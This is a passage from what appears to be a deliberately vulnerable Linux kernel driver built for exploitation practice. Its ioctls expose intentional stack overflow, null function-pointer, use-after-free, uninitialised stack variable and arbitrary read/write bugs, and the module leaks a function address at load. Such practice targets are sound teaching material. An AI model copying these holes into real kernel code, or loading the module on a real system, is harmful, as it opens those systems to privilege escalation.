if(g_mem_buffer == NULL) 120 | return -EINVAL; 121 | 122 | int ret; 123 | loff_t pos; 124 | size_t count; 125 | 126 | count = w_args->count; 127 | pos = g_mem_buffer->pos; 128 | 129 | if((count + pos) > g_mem_buffer->data_size) 130 | return -EINVAL; 131 | 132 | ret = copy_from_user(g_mem_buffer->data + pos, w_args->buff, count); 133 | 134 | return ret; 135 | } 136 | 137 | static int seek_mem_buffer(seek_args *s_args) 138 | { 139 | if(g_mem_buffer == NULL) 140 | return -EINVAL; 141 | 142 | if(s_args->new_pos < g_mem_buffer->data_size) { 143 | g_mem_buffer->pos = s_args->new_pos; 144 | return g_mem_buffer->pos; 145 | } 146 | else 147 | return 0; 148 | } 149 | 150 | 151 | #endif -------------------------------------------------------------------------------- /vulnerable_driver/src/buffer_overflow.h: -------------------------------------------------------------------------------- 1 | #ifndef _DEVICE_BUFFER_OVERFLOW_ 2 | #define _DEVICE_BUFFER_OVERFLOW_ 3 | 4 | //static int buffer_overflow(char __user *buff); 5 | 6 | static int buffer_overflow(char __user *buff) 7 | { 8 | char kernel_buff[512]; 9 | size_t size; 10 | 11 | size = strlen(buff); 12 | 13 | printk(KERN_WARNING "[x] Triggering buffer overflow [x]\n"); 14 | 15 | /** 16 | * Pretty simple buffer overflow. We shouldnt be using memcpy to 17 | * start with, copy_from_user does bounds checking for us (hence 18 | * why its not used here). 19 | */ 20 | memcpy(kernel_buff, buff, size); 21 | 22 | return 0; 23 | } 24 | 25 | #endif 26 | -------------------------------------------------------------------------------- /vulnerable_driver/src/null_pointer_deref.h: -------------------------------------------------------------------------------- 1 | #ifndef _NULL_POINTER_DEREF_ 2 | #define _NULL_POINTER_DEREF_ 3 | 4 | /** 5 | * a simple callback function to test you are talking 6 | * to this vuln properly. 7 | */ 8 | static void callback(void) 9 | { 10 | printk(KERN_WARNING "[x] Hit callback [x]\n"); 11 | } 12 | 13 | /** 14 | * Pretty obvious null pointer dereference. If the user 15 | * supplied argument != 0xdeadbeef then fp() calls a null 16 | * pointer. 17 | */ 18 | static void null_pointer_deref(unsigned long arg) 19 | { 20 | void (*fp)(void) = NULL; 21 | 22 | if((arg ^ 0xdeadbeef) == 0) { 23 | fp = callback; 24 | } 25 | 26 | fp(); 27 | } 28 | #endif 29 | -------------------------------------------------------------------------------- /vulnerable_driver/src/uninitialised_stack_var.h: -------------------------------------------------------------------------------- 1 | #ifndef _UNINITIALISED_STACK_VAR 2 | #define _UNINITIALISED_STACK_VAR 3 | #define BUFF_SIZE 4096 4 | 5 | typedef struct stack_obj 6 | { 7 | int do_callback; 8 | long fn_arg; 9 | void (*fn)(long); 10 | char buff[48]; 11 | }stack_obj; 12 | 13 | typedef struct use_obj_args 14 | { 15 | int option; 16 | long fn_arg; 17 | }use_obj_args; 18 | 19 | static void uninitialised_callback(long arg) 20 | { 21 | printk(KERN_WARNING "[x] Hit callback with arg %lu [x]\n", arg); 22 | } 23 | 24 | noinline static int copy_to_stack(char __user *user_buff) 25 | { 26 | int ret; 27 | char buff[BUFF_SIZE]; 28 | 29 | ret = copy_from_user(buff, user_buff, BUFF_SIZE); 30 | buff[BUFF_SIZE - 1] = 0; 31 | 32 | return ret; 33 | } 34 | 35 | 36 | noinline static void use_stack_obj(use_obj_args *use_obj_arg) 37 | { 38 | volatile stack_obj s_obj; 39 | 40 | if(use_obj_arg->option == 0) 41 | { 42 | s_obj.fn = uninitialised_callback; 43 | s_obj.fn_arg = use_obj_arg->fn_arg; 44 | } 45 | 46 | s_obj.fn(s_obj.fn_arg); 47 | 48 | } 49 | 50 | 51 | #endif 52 | -------------------------------------------------------------------------------- /vulnerable_driver/src/use_after_free.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file includes the relevant methods and objects to trigger the 3 | * use after free vulnerability. The available methods to userland applications 4 | * allow a uaf_object with a function pointer to be allocated, a trash object 5 | * with 256 bytes of data to be allocated, the uaf_obj to be freed, and the uaf_obj 6 | * to be used. 7 | */ 8 | 9 | #ifndef _USE_AFTER_FREE_ 10 | #define _USE_AFTER_FREE_ 11 | 12 | typedef struct uaf_obj 13 | { 14 | char uaf_first_buff[56]; 15 | long arg; 16 | void (*fn)(long); 17 | 18 | char uaf_second_buff[12]; 19 | 20 | }uaf_obj; 21 | 22 | typedef struct k_object 23 | { 24 | char kobj_buff[96]; 25 | }k_object; 26 | 27 | /* this is our global uaf object that will eventually be freed and used */ 28 | uaf_obj *global_uaf_obj = NULL; 29 | 30 | /** 31 | * A simple callback function 32 | */ 33 | static void uaf_callback(long num) 34 | { 35 | printk(KERN_WARNING "[-] Hit callback [-]\n"); 36 | } 37 | 38 | /** 39 | * Allocate a use after free object on the kernel heap. 40 | * This objects buffer is then filled with A's, and the 41 | * global uaf pointer is set to it. 42 | */ 43 | static int alloc_uaf_obj(long __user arg) 44 | { 45 | struct uaf_obj *target; 46 | 47 | target = kmalloc(sizeof(uaf_obj), GFP_KERNEL); 48 | 49 | if(!target) { 50 | printk(KERN_WARNING "[-] Error no memory [-]\n"); 51 | return -ENOMEM; 52 | } 53 | 54 | target->arg = arg; 55 | target->fn = uaf_callback; 56 | memset(target->uaf_first_buff, 0x41, sizeof(target->uaf_first_buff)); 57 | 58 | global_uaf_obj = target; 59 | 60 | printk(KERN_WARNING "[x] Allocated uaf object [x]\n"); 61 | 62 | return 0; 63 | } 64 | 65 | /** 66 | * Here we allow the userspace program the ability 67 | * to tell the kernel to free the global uaf_object. 68 | */ 69 | static void free_uaf_obj(void) 70 | { 71 | kfree(global_uaf_obj); 72 | 73 | //if we wanted to make this more secure, we would 74 | //do global_uaf_obj = NULL after freeing it. 75 | 76 | printk(KERN_WARNING "[x] uaf object freed [x]"); 77 | } 78 | 79 | /** 80 | * Use the function pointer callback as long as its not null. 81 | */ 82 | static void use_uaf_obj(void) 83 | { 84 | if(global_uaf_obj->fn) 85 | { 86 | //debug info 87 | printk(KERN_WARNING "[x] Calling 0x%p(%lu)[x]\n", global_uaf_obj->fn, global_uaf_obj->arg); 88 | 89 | global_uaf_obj->fn(global_uaf_obj->arg); 90 | } 91 | } 92 | 93 | static int alloc_k_obj(k_object *user_kobj) 94 | { 95 | k_object *trash_object = kmalloc(sizeof(k_object), GFP_KERNEL); 96 | int ret; 97 | 98 | if(!trash_object) { 99 | printk(KERN_WARNING "[x] Error allocating k_object memory [-]\n"); 100 | return -ENOMEM; 101 | } 102 | 103 | ret = copy_from_user(trash_object, user_kobj, sizeof(k_object)); 104 | printk(KERN_WARNING "[x] Allocated k_object [x]\n"); 105 | return 0; 106 | } 107 | 108 | #endif 109 | -------------------------------------------------------------------------------- /vulnerable_driver/src/vuln_driver.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include "vuln_driver.h" 11 | #include "buffer_overflow.h" 12 | #include "null_pointer_deref.h" 13 | #include "use_after_free.h" 14 | #include "arbitrary_rw.h" 15 | #include "uninitialised_stack_var.h" 16 | 17 | static long do_ioctl(struct file *filp, unsigned int cmd, unsigned long args) 18 | { 19 | int ret; 20 | unsigned long *p_arg = (unsigned long *)args; 21 | ret = 0; 22 | 23 | switch(cmd) { 24 | case DRIVER_TEST: 25 | printk(KERN_WARNING "[x] Talking to device [x]\n"); 26 | break; 27 | case BUFFER_OVERFLOW: 28 | buffer_overflow((char *) args); 29 | break; 30 | case NULL_POINTER_DEREF: 31 | null_pointer_deref(args); 32 | break; 33 | case ALLOC_UAF_OBJ: 34 | alloc_uaf_obj(args); 35 | break; 36 | case USE_UAF_OBJ: 37 | use_uaf_obj(); 38 | break; 39 | case ALLOC_K_OBJ: 40 | alloc_k_obj((k_object *) args); 41 | break; 42 | case FREE_UAF_OBJ: 43 | free_uaf_obj(); 44 | break; 45 | case ARBITRARY_RW_INIT: 46 | { 47 | init_args i_args; 48 | int ret; 49 | 50 | if(copy_from_user(&i_args, p_arg, sizeof(init_args))) 51 | return -EINVAL; 52 | 53 | ret = arbitrary_rw_init(&i_args); 54 | break; 55 | } 56 | case ARBITRARY_RW_REALLOC: 57 | { 58 | realloc_args r_args; 59 | 60 | if(copy_from_user(&r_args, p_arg, sizeof(realloc_args))) 61 | return -EINVAL; 62 | 63 | ret = realloc_mem_buffer(&r_args); 64 | break; 65 | } 66 | case ARBITRARY_RW_READ: 67 | { 68 | read_args r_args; 69 | 70 | if(copy_from_user(&r_args, p_arg, sizeof(read_args))) 71 | return -EINVAL; 72 | 73 | ret = read_mem_buffer(r_args.buff, r_args.count); 74 | break; 75 | } 76 | case ARBITRARY_RW_SEEK: 77 | { 78 | seek_args s_args; 79 | 80 | if(copy_from_user(&s_args, p_arg, sizeof(seek_args))) 81 | return -EINVAL; 82 | 83 | ret = seek_mem_buffer(&s_args); 84 | break; 85 | } 86 | case ARBITRARY_RW_WRITE: 87 | { 88 | write_args w_args; 89 | 90 | if(copy_from_user(&w_args, p_arg, sizeof(write_args))) 91 | return -EINVAL; 92 | 93 | ret = write_mem_buffer(&w_args); 94 | break; 95 | } 96 | case UNINITIALISED_STACK_ALLOC: 97 | { 98 | ret = copy_to_stack((char *)p_arg); 99 | break; 100 | } 101 | case UNINITIALISED_STACK_USE: 102 | { 103 | use_obj_args use_obj_arg; 104 | 105 | if(copy_from_user(&use_obj_arg, p_arg, sizeof(use_obj_args))) 106 | return -EINVAL; 107 | 108 | 109 | use_stack_obj(&use_obj_arg); 110 | 111 | break; 112 | } 113 | } 114 | 115 | return ret; 116 | } 117 | 118 | static int vuln_release(struct inode *inode, struct file *filp) 119 | { 120 | if(g_mem_buffer != NULL) 121 | { 122 | if(g_mem_buffer->data != NULL) 123 | kfree(g_mem_buffer->data); 124 | kfree(g_mem_buffer); 125 | g_mem_buffer = NULL; 126 | } 127 | 128 | return 0; 129 | } 130 | 131 | /** 132 | * The operations allowed by userspace applications. 133 | * We only really allow access through the ioctl interface. 134 | */ 135 | static struct file_operations vuln_ops = { 136 | .owner = THIS_MODULE, 137 | .unlocked_ioctl = do_ioctl, 138 | .release = vuln_release, 139 | }; 140 | 141 | /** 142 | * The miscdevice api is much simpler than creating a class 143 | * and attaching it to a node using class_create etc. 144 | */ 145 | static struct miscdevice vuln_device = { 146 | MISC_DYNAMIC_MINOR, DEVICE_NAME, &vuln_ops 147 | }; 148 | 149 | /** 150 | * Register the device. 151 | */ 152 | static int vuln_module_init(void) 153 | { 154 | int ret; 155 | 156 | ret = misc_register(&vuln_device); 157 | 158 | if(ret < 0) { 159 | printk(KERN_WARNING "[-] Error registering device [-]\n"); 160 | } 161 | 162 | printk(KERN_WARNING "[!!!] use_stack_obj @%p [!!!]\n", use_stack_obj); 163 | 164 | return ret; 165 | } 166 | 167 | /** 168 | * Deregister the device. 169 | */ 170 | static void vuln_module_exit(void) 171 | { 172 | misc_deregister(&vuln_device); 173 | } 174 | 175 | module_init(vuln_module_init); 176 | module_exit(vuln_module_exit); 177 | MODULE_LICENSE("GPL"); 178 | MODULE_AUTHOR("Invictus"); 179 | MODULE_DESCRIPTION(""); 180 | -------------------------------------------------------------------------------- /vulnerable_driver/src/vuln_driver.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This header file defines the IOCTL numbers and macros for interacting 3 | * with the different vulnerabilities. 4 | */ 5 | 6 | #ifndef _VULN_DRIVER_ 7 | 8 | #define _VULN_DRIVER_ 9 | 10 | #define DEVICE_NAME "vulnerable_device" 11 | 12 | #define IOCTL_NUM 0xFE 13 | 14 | #define DRIVER_TEST _IO (IOCTL_NUM, 0) 15 | #define BUFFER_OVERFLOW _IOR (IOCTL_NUM, 1, char *) 16 | #define NULL_POINTER_DEREF _IOR (IOCTL_NUM, 2, unsigned long) 17 | #define ALLOC_UAF_OBJ _IO (IOCTL_NUM, 3) 18 | #define USE_UAF_OBJ _IO (IOCTL_NUM, 4) 19 | #define ALLOC_K_OBJ _IOR (IOCTL_NUM, 5, unsigned long) 20 | #define FREE_UAF_OBJ _IO(IOCTL_NUM, 6) 21 | #define ARBITRARY_RW_INIT _IOR(IOCTL_NUM, 7, unsigned long) 22 | #define ARBITRARY_RW_REALLOC _IOR(IOCTL_NUM, 8, unsigned long) 23 | #define ARBITRARY_RW_READ _IOWR(IOCTL_NUM, 9, unsigned long) 24 | #define ARBITRARY_RW_SEEK _IOR(IOCTL_NUM, 10, unsigned long) 25 | #define ARBITRARY_RW_WRITE _IOR(IOCTL_NUM, 11, unsigned long) 26 | #define UNINITIALISED_STACK_ALLOC _IOR(IOCTL_NUM, 12, unsigned long) 27 | #define UNINITIALISED_STACK_USE _IOR(IOCTL_NUM, 13, unsigned long) 28 | #endif 29 | --------------------------------------------------------------------------------